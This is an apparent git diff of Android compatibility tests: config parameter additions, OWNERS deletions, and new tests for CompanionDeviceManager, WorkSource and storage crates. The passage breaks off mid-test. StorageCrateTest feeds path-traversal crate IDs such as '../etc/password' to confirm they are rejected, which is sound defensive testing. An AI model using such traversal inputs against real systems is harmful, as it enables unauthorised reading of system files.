+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 02eb9a7..9e72c7d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index abc5c75..29c13fe 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 8878a36..5b37c84 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index 8e8e14a..d612a7e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 2c144c6..bf10bcd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index 1c00e71..cbbfeb8 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
index 5e6e3dc..5f0da66 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/OWNERS b/tests/tests/notificationlegacy/notificationlegacy20/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy20/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/OWNERS b/tests/tests/notificationlegacy/notificationlegacy27/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy27/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/OWNERS b/tests/tests/notificationlegacy/notificationlegacy28/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy28/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/OWNERS b/tests/tests/notificationlegacy/notificationlegacy29/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy29/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 6c48c87..846aa5a 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -32,6 +32,7 @@
],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"src/android/os/cts/IParcelFileDescriptorPeer.aidl",
"src/android/os/cts/IEmptyService.aidl",
"src/android/os/cts/ISeccompIsolatedService.aidl",
@@ -47,7 +48,7 @@
"vts",
"general-tests",
],
- platform_apis: true,
+ sdk_version: "test_current",
libs: [
"android.test.runner.stubs",
"android.test.base.stubs",
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 765c8ef..8c1abc0 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -45,6 +45,7 @@
<uses-permission android:name="android.permission.DEVICE_POWER" />
<uses-permission android:name="android.permission.POWER_SAVER" />
<uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
+ <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
<uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
<application
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
new file mode 100644
index 0000000..c406b13
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts
+
+import android.companion.CompanionDeviceManager
+import android.net.MacAddress
+import android.platform.test.annotations.AppModeFull
+import android.test.InstrumentationTestCase
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+
+const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
+val InstrumentationTestCase.context get() = instrumentation.context
+
+/**
+ * Test for [CompanionDeviceManager]
+ */
+class CompanionDeviceManagerTest : InstrumentationTestCase() {
+
+ val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
+
+ @AppModeFull(reason = "Companion API for non-instant apps only")
+ fun testIsDeviceAssociated() {
+ val userId = context.userId
+ val user = android.os.Process.myUserHandle()
+ val packageName = context.packageName
+ val isAssociated = {
+ runWithShellPermissionIdentity<Boolean> {
+ cdm.isDeviceAssociated(packageName, MacAddress.fromString(DUMMY_MAC_ADDRESS), user)
+ }
+ }
+ val shellIsAssociated = {
+ runShellCommand("cmd companiondevice list $userId")
+ .lines()
+ .any {
+ packageName in it &&
+ DUMMY_MAC_ADDRESS in it
+ }
+ }
+
+ assertFalse(isAssociated())
+ assertFalse(shellIsAssociated())
+
+ try {
+ runShellCommand(
+ "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
+ assertTrue(isAssociated())
+ assertTrue(shellIsAssociated())
+ } finally {
+ runShellCommand(
+ "cmd companiondevice disassociate $userId $packageName $DUMMY_MAC_ADDRESS")
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index b00e1f2..0b02291 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -37,6 +37,7 @@
@AppModeFull(reason = "External directory not accessible by instant apps")
public void testEnvironmentExternal() {
+ assertTrue(Environment.getStorageDirectory().isDirectory());
assertTrue(Environment.getExternalStorageDirectory().isDirectory());
}
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index 64b6fd4..e7781b8 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -67,7 +67,11 @@
*
* 3) An app which explicitly calls prctl(PR_SET_DUMPABLE, 1).
*
- * For this test, neither #2 nor #3 are true, so we expect ro.debuggable
+ * 4) GraphicsEnv calls prctl(PR_SET_DUMPABLE, 1) in the presence of
+ * <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
+ * in the application manifest.
+ *
+ * For this test, neither #2, #3, nor #4 are true, so we expect ro.debuggable
* to exactly equal prctl(PR_GET_DUMPABLE).
*/
@AppModeFull(reason = "Instant apps cannot access APIs")
diff --git a/tests/tests/os/src/android/os/cts/WorkSourceTest.java b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
index 9b6fa80..afcb64d 100644
--- a/tests/tests/os/src/android/os/cts/WorkSourceTest.java
+++ b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
@@ -106,7 +106,7 @@
failWorkSource(op, ws, uids);
}
for (int i=0; i<uids.length; i++) {
- if (uids[i] != ws.get(i)) {
+ if (uids[i] != ws.getUid(i)) {
failWorkSource(op, ws, uids);
}
}
@@ -126,7 +126,7 @@
failWorkSource(op, ws, uids, names);
}
for (int i=0; i<uids.length; i++) {
- if (uids[i] != ws.get(i) || !names[i].equals(ws.getName(i))) {
+ if (uids[i] != ws.getUid(i) || !names[i].equals(ws.getPackageName(i))) {
failWorkSource(op, ws, uids, names);
}
}
@@ -483,4 +483,42 @@
new int[] { },
true);
}
+
+ public void testIsEmptyByDefault() {
+ WorkSource ws = new WorkSource();
+ assertTrue("isEmpty false for empty WorkSource", ws.isEmpty());
+ }
+
+ public void testIsEmptyOnClear() {
+ WorkSource ws = wsNew(new int[] {1, 2, 3}, new String[] {"a", "aa", "aaa"});
+ assertFalse(ws.isEmpty());
+ ws.clear();
+ assertTrue(ws.isEmpty());
+ }
+
+ public void testWithoutNames() {
+ WorkSource ws = wsNew(
+ new int[] {10, 12, 12, 15, 15, 17},
+ new String[] {"a", "b", "c", "d", "e", "f"});
+ WorkSource wsWithoutNames = ws.withoutNames();
+
+ int[] expectedUids = new int[] {10, 12, 15, 17};
+ if (expectedUids.length != wsWithoutNames.size()) {
+ failWorkSource("withoutNames", wsWithoutNames, expectedUids);
+ }
+ for (int i = 0; i < expectedUids.length; i++) {
+ if (wsWithoutNames.getUid(i) != expectedUids[i]) {
+ failWorkSource("withoutNames", wsWithoutNames, expectedUids);
+ }
+ if (wsWithoutNames.getPackageName(i) != null) {
+ fail("Name " + wsWithoutNames.getPackageName(i) + " found at i = " + i);
+ }
+ }
+ try {
+ wsWithoutNames.add(50, "name");
+ fail("Added name to unnamed worksource");
+ } catch (IllegalArgumentException e) {
+ // Expected
+ }
+ }
}
diff --git a/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java b/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java
new file mode 100644
index 0000000..8c78d87
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.storage.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.Parcel;
+import android.os.Process;
+import android.os.storage.CrateInfo;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CrateInfoTest {
+ @Rule
+ public TestName mTestName = new TestName();
+
+ @Test
+ public void getLabel_shouldMatchTheConstructor() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName());
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabel_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName());
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabelAndExpiration_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), 0);
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabelAndMaxExpiration_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), Long.MAX_VALUE);
+
+ assertThat(crateInfo.getExpirationMillis()).isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void newCrateInfo_nullLabel_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo(null);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void newCrateInfo_emptyString_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo("");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void newCrateInfo_withNegativeExpiration_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo(mTestName.getMethodName(), -1);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void readFromParcel_shouldMatchFromWriteToParcel() {
+ Parcel parcel = Parcel.obtain();
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), Long.MAX_VALUE);
+ crateInfo.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ CrateInfo readFromCrateInfo = CrateInfo.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertThat(readFromCrateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ assertThat(readFromCrateInfo.getExpirationMillis()).isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void copyFrom_validatedCrate_shouldReturnNonNull() {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), context.getOpPackageName(),
+ mTestName.getMethodName());
+
+ assertThat(crateInfo).isNotNull();
+ }
+
+ @Test
+ public void copyFrom_invalidCrate_shouldReturnNull() {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), context.getOpPackageName(),
+ null);
+
+ assertThat(crateInfo).isNull();
+ }
+
+ @Test
+ public void copyFrom_invalidPackageName_shouldReturnNull() {
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), null,
+ mTestName.getMethodName());
+
+ assertThat(crateInfo).isNull();
+ }
+}
diff --git a/tests/tests/os/src/android/os/storage/cts/OWNERS b/tests/tests/os/src/android/os/storage/cts/OWNERS
new file mode 100644
index 0000000..948bcad
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 141660526
+per-file CrateInfoTest.java = felkachang@google.com
+per-file StorageCrateTest.java = felkachang@google.com
+per-file StorageStatsManagerTest.java = felkachang@google.com
+
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageCrateTest.java b/tests/tests/os/src/android/os/storage/cts/StorageCrateTest.java
new file mode 100644
index 0000000..99ea30c
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/StorageCrateTest.java
@@ -0,0 +1,352 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.storage.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.file.FileVisitResult;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.SimpleFileVisitor;
+import java.nio.file.attribute.BasicFileAttributes;
+
+@RunWith(AndroidJUnit4.class)
+public class StorageCrateTest {
+ private static final String CRATES_ROOT = "crates";
+ @Rule
+ public TestName mTestName = new TestName();
+
+ private Context mContext;
+ private Path mCratesRoot;
+ private String mCrateId;
+ private Path mCratePath;
+
+ private void cleanAllOfCrates() throws IOException {
+ if (!mCratesRoot.toFile().exists()) {
+ return;
+ }
+
+ Files.walkFileTree(mCratesRoot, new SimpleFileVisitor<>() {
+ @Override
+ public FileVisitResult visitFile(Path file, BasicFileAttributes attrs)
+ throws IOException {
+ Files.deleteIfExists(file);
+ return super.visitFile(file, attrs);
+ }
+
+ @Override
+ public FileVisitResult postVisitDirectory(Path dir, IOException exc)
+ throws IOException {
+ Files.deleteIfExists(dir);
+ return super.postVisitDirectory(dir, exc);
+ }
+ });
+
+ Files.deleteIfExists(mCratesRoot);
+ }
+
+ /**
+ * Setup the necessary member field used by test methods.
+ * <p>It needs to remove all of directories in {@link Context#getCrateDir(String crateId)} that
+ * include {@link Context#getCrateDir(String crateId)} itself.
+ * Why it needs to run cleanAllOfCrates, the process may crashed before tearDown. Running
+ * cleanAllOfCrates to make sure the test environment is clean.</p>
+ */
+ @Before
+ public void setUp() throws IOException {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mCratesRoot = mContext.getDataDir().toPath().resolve(CRATES_ROOT);
+ mCrateId = mTestName.getMethodName();
+ mCratePath = mCratesRoot.resolve(mTestName.getMethodName());
+
+ cleanAllOfCrates();
+ }
+
+ @Test
+ public void getCrateDir_notInvoke_cratesRootShouldNotExist() {
+ final File cratesRootDir = mCratesRoot.toFile();
+
+ assertThat(cratesRootDir.exists()).isFalse();
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_cratesRootExist() {
+ final File cratesRootDir = mCratesRoot.toFile();
+
+ mContext.getCrateDir(mCrateId);
+
+ assertThat(cratesRootDir.exists()).isTrue();
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_shouldReturnNonNullDir() {
+ final File crateDir = mContext.getCrateDir(mCrateId);
+
+ assertThat(crateDir).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_cratePathBeDirectory() {
+ final File crateDir = mContext.getCrateDir(mCrateId);
+
+ assertThat(crateDir.isDirectory()).isTrue();
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_cratePathShouldExist() {
+ final File crateDir = mContext.getCrateDir(mCrateId);
+
+ assertThat(crateDir.exists()).isTrue();
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_cratesRootShouldUnderDataDir() {
+ final File cratesRootDir = mCratesRoot.toFile();
+
+ mContext.getCrateDir(mCrateId);
+
+ assertThat(cratesRootDir.getParentFile().getName())
+ .isEqualTo(mContext.getDataDir().getName());
+ }
+
+ @Test
+ public void getCrateDir_withCrateId_crateDirShouldUnderCratesRootDir() {
+ final File cratesRootDir = mCratesRoot.toFile();
+ final File crateDir = mCratePath.toFile();
+
+ mContext.getCrateDir(mCrateId);
+
+ assertThat(crateDir.getParentFile().getName()).isEqualTo(cratesRootDir.getName());
+ }
+
+ @Test
+ public void getCrateDir_anyExceptionHappened_shouldNotCreateAnyDir() {
+ File crateDir = null;
+
+ try {
+ crateDir = mContext.getCrateDir(null);
+ } catch (Exception e) {
+ }
+
+ assertThat(crateDir).isNull();
+ }
+
+ @Test
+ public void getCrateDir_nullCrateId_crateDirShouldUnderCratesRootDir() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir(null);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_emptyCrateId_crateDirShouldUnderCratesRootDir() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdIsDot_crateDirShouldUnderCratesRootDir() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir(".");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdIsDotDot_crateDirShouldUnderCratesRootDir() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("..");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdPrefixContainsDotDot_shouldTriggerIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("../etc/password");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void getCrateDir_crateIdContainsDotDot_shouldTriggerIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+
+ try {
+ mContext.getCrateDir("normalCrate/../../../etc/password");
